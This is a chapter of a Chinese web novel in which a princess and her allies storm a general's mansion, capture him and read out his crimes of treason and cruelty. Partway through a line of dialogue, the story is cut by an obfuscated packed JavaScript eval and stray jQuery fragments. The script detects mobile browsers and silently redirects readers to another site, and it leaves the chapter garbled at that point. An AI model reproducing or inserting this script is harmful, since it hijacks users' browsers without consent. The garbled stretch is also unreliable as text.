44.动手

作品:《春台杀

    翌日凌晨,卫安澜亲率精锐直奔将军府。这些人是皇帝派给她的亲信,个个都有以一敌十之能,此前一直驻扎在邻近州县,直到她对左飞钺动手时才会现身。


    除掉一个左飞钺当然不难,卫安澜考虑的始终是如何以最小的代价达成目的,尽量不影响南都百姓生活和边境局势。她在心中推演了无数次,设想过所有可能,才终于落下今日这一步棋。


    从现在起,左氏兄弟的命便握在她手里了。


    前夜左飞钺离开宝雁村后,原本住在军营里,偏巧手下来报王菡身染重疾,恐有性命之忧,左飞钺听后心急如焚,也顾不上查实卫安澜的消息,忙赶回府照料。他熬了一夜,恰逢日夜交替最易困倦的时辰,左飞钺才刚合眼小憩片刻,卫安澜的人便已团团包围了将军府。


    “无知妇人,竟敢在太岁头上动土!”


    左飞钺勃然大怒,他提枪出门,只见两拨人马正在院中列阵对峙,冲突一触即发。晓风呼啸,卫安澜负手立于摇曳的火光中间,逼视他的目光比寒风更加凛冽。


    “哟,长公主殿下这么大阵仗有何贵干啊?本将军是杀人了还是放火了?”


    卫安澜冷笑道:“左飞钺,你私铸军械,通敌卖国,证据确凿,本宫今日便要拿你归案!”


    “一派胡言!”左飞钺义正词严地反驳道,一双鹰隼般的虎目闪烁着凶恶的幽光,“按大凉律,擅闯将军府者当以谋逆罪论处。来啊,给我拿下!”


    将军府护卫得了命令一哄而上,卫安澜一抬手,双方立时战作一团。在一片刀光剑影中,卫安澜纹丝不动,旁侧的立冬纵身越过人群,直取左飞钺。


    然而左飞钺毕竟久经沙场,他手下长枪一转,便抵挡住立冬的钢刀。立冬的武器唤作“踏雪寻梅”,以攻击极快出刀无影著称,可在收放自如的百兵之王面前,他一时也难以取胜。


    立冬侧身回防,刀光在左飞钺身侧上下飞舞,宛如疾风骤雨。左飞钺被逼退几步,手腕倏忽抖动,勉强招架住立冬密不透风的攻势。


    二人实力不相上下,但其他人便没有这么幸运了,不多时,保护左飞钺的几名护卫便被立冬砍伤逼退。卫安澜握紧短剑,在左飞钺举枪.刺向立冬面门时,找准了唯一一个可以下手的,稍纵即逝的时机。


    卫安澜踮足上前,恰在此时,身后的树荫里,一把劲弓悄然对准了她的后心。


    积年累月的逃生经历已经让卫安澜形成了强烈的直觉,凭着对危险敏锐的探知,她在背后箭矢离弦的瞬间便疾转身体,右手朝气流变化的方向挥去。


    锵——


    箭头与短剑撞在一起,尖锐的音浪穿透空气,令人的耳膜刺痛不已。卫安澜并无停顿,手腕顺势一提一抖,短剑火星四溅,在铁链的牵引下直接穿透了袭击者的胸膛。


    眼见偷袭的副将才出手就被卫安澜取了性命,左飞钺手中的动作不由一滞。


    昨日收到消息后,他不是没有准备,为防有人以王菡的名义骗他离开军营驻地,左飞钺特地调了两队精兵随行,并把他们交给自己最信任的副将指挥,不想还是不敌卫安澜的人马。


    趁着左飞钺分神的间歇,立冬抓住时机架起他的枪,卫安澜亦同时抽回短剑,反手缠绕上枪杆,意图缴了他的械。可左飞钺反应何等迅速,当发觉自己武器难保时,他干脆撤掉一只手,操纵袖中长鞭以迅雷不及掩耳之势袭向卫安澜的面门。


    卫安澜被短剑牵制,无法顺利躲开鞭子的攻击范围。千钧一发之际,另一条完全相同的铁链突然出现,卷住了左飞钺的长鞭——


    一道白色的身影飘然而至,径直杀入人群。在扯开鞭子的同时,他手里的剑锋宛如一条荧蓝的冰凌,泛着冷冽的光华,出其不意地刺向左飞钺的咽喉。


    蕉鹿出鞘,天地黯然。


    来人的动作太快,不过眨眼的工夫,左飞钺双手都被控制住,紧接着便被立冬死死压在了地上。


    “都住手!”


    柳遇大喝一声,剑尖依旧指着左飞钺的脖子。庭院里瞬间鸦雀无声,众人看着这位惯来手无缚鸡之力的书生,只觉得遍体生寒。


    原来他的身手这么好,杀人如同探囊取物一般。


    “放下武器者,可免死罪!”


    将军府护卫面面相觑,不知在谁的带领下,一众护卫纷纷弃了刀枪。


    柳遇浑然不在意周遭的目光,见局面已被控制住,他笑着收回卫安澜的短剑,一步一步走到她面前,双手奉上。


    “谢殿下赐剑。”


    昨夜,卫安澜同柳遇商讨进攻将军府的计划时,破天荒地拿出了自己的短剑,“它叫‘朝夕’,是我自己设计,皇兄亲手制作的武器。明日,我分一半给你,若我与立冬力有不逮,你就出手。”


    柳遇第一次得以仔细端详这对短剑,它们通体银白并无纹饰,唯有剑柄上刻着一日一月,通过细韧的锁链牢牢掌握在她手中。


    日月相替,朝夕轮回。


    柳遇看向卫安澜,明白这是她心愿的写照,她的眼界从不在一人一事,而在山河人间。现在,她把最后一层保障交给了他,便是对他最大的信任。柳遇躬身接过剑,郑重道:


    “谢殿下赐剑。”


    一取一还,柳遇说了相同的话,卫安澜微微一笑,视线从他的蕉鹿剑上一晃而过。她走到左飞钺旁边,冷声道:“左飞钺,你几次三番谋害本宫已是死罪,不妨猜一猜,本宫为何不处置你啊?”


    左飞钺自然知晓卫安澜话中的深意。他大口喘着粗气,目光狠狠地剜着她,都怪他一时疏忽,竟让这个妖妇活到了今天。


    话又说回来,左飞钺不信卫安澜离京时宫里面毫无异样,辅国公怎么就没派个人提醒他一句呢!他若败,辅国公的地位便岌岌可危了。


    愤怒和困惑轮番席卷,左飞钺额上的青筋的控制不住地抽动起来。


    他的反应尽数落在卫安澜眼中,卫安澜一边擦拭剑上的血迹,一边细数左飞钺的罪行,“二十二年前,大凉国难当头,你贪慕荣华,开关献城,投降大燕,其罪一也;四年前,你为重归大凉,屠灭碣州,反杀燕军,挑起战争,其罪二也。”


    “你胡说八道,本将军是大凉立国的功臣!连陛下都不在意本将军的过去,你难道要违抗圣命吗?”


    垂死挣扎。


    左飞钺丑态毕露,卫安澜连多看他一眼都觉得腌臜,“陛下为何不问,你当真不知?陛下给了你多少次机会,可你还是居功压主,滥杀无辜,连琵琶女的弟弟都不放过,哪来的脸在本宫面前砌词狡辩!”


    若不是左家兄弟确有些军事才能,皇帝岂能容他到今日?


    左飞钺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376324|195704||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    犹自不服,狂吼道:“本将军枪下只有叛逆,何来冤魂!”


    “那丹霄观呢?我兄长是被谁所杀?”


    一声尖利的质问自背后响起,左飞钺扭过头,竟看到“高热昏厥”的王菡在小满的搀扶下,正满眼仇恨地盯着自己。


    左飞钺这才明白一切都是卫安澜的圈套。为了在将军府擒拿他,是她指使小满给王菡下药,让她派人传信将他骗离了军营。


    亏他还顾及夫妻之情回府照顾她,简直是瞎了眼!


    “王菡,你给我滚回房去!”


    王菡并不理会左飞钺,她走到卫安澜面前,端正地举起手中的木盒,“妾身受殿下之托搜寻左飞钺藏在府中的罪证。现有其私贩军械数目约十万件,所得银票共计十万余两,另有其以贺晋将军之名与大燕碣州将军的往来书信,妾身不负殿下期望,已将其内容全部译出,呈请殿下阅览。”


    卫安澜接过王菡呈递的证据,见其与薛知宜和秦一的招供基本吻合,满意地点了点头。


    左飞钺没想到王菡会背叛自己,登时目眦尽裂,破口大骂道:“臭婆娘,你居然为了一个老道士出卖我!”


    王菡眼中的怒火顿时熊熊烧起,她握紧双手,厉声道:“左飞钺,你这个冷酷无情的奸诈小人,通敌叛国的乱臣贼子,不配提我兄长!”


    “王菡!”左飞钺暴虐的怒吼声响彻整个庭院,“我得的金银财宝难道你没动过吗?出卖我对你有什么好处!你以为卫安澜能放过你吗?”


    王菡冷冷地瞥了他一眼,“你觉得我还想活吗?”


    卫安澜抬眸望向王菡,短短数日未见,她的脸颊愈发消瘦凹陷,一双眼睛却依旧明亮。


    妇人之仁从不该是目光短浅优柔寡断,而是存善意,守正道,明是非。便如现在的王菡,为了她的兄长,只要能让左飞钺付出代价,她根本不惧死亡。


    卫安澜掂量着木盒,继续罗列左飞钺的罪状,“从两年前开始,你与大燕碣州将军秦一密谋,杀害贺晋,胁迫醉琴楼花魁薛知宜代之与秦一暗中交易,将大凉国之重器泄露给他国,欺瞒朝廷,其罪三也;”


    “为满足贪欲,你逼迫南都百姓到矿场做工,不顾天气条件,不顾矿石松动,无止尽地开采玳铁矿,两年多来致使数百采工罹难,其罪四也;


    “为阻止本宫调查,你在矿场和宝雁村两处布下杀局,意图置本宫于死地,其罪五也。


    “左飞钺,你不忠天子,不思爱民,桩桩件件哪条罪名冤了你!”


    万籁俱寂,无人敢生质疑,左飞钺听着卫安澜掷地有声的话语,脸色终于灰败下来。


    卫安澜心下长舒一口气。她许诺皇兄之事已经完成,这五条大罪坐实,不光左飞钺,连远在京城的辅国公都脱不了干系,左家覆灭之期指日可待。


    她扬起手指,循着火光一点,尘埃落定,“即日起免去左飞钺南都大将军之职,暂押公主府,封闭将军府,清点财产。来人,带走!”


    公主府众人齐齐应声,卫安澜刚要离开,府门外忽有火光亮起,墙头随之出现了一圈乌压压的士兵。这些人训练有素,皆手持弓箭对准庭院,任他们插翅也难逃。


    身处箭矢包围中心的卫安澜眉梢微挑,她和柳遇对视一眼,二人从彼此眼中读出了相同的答案。


    他来了。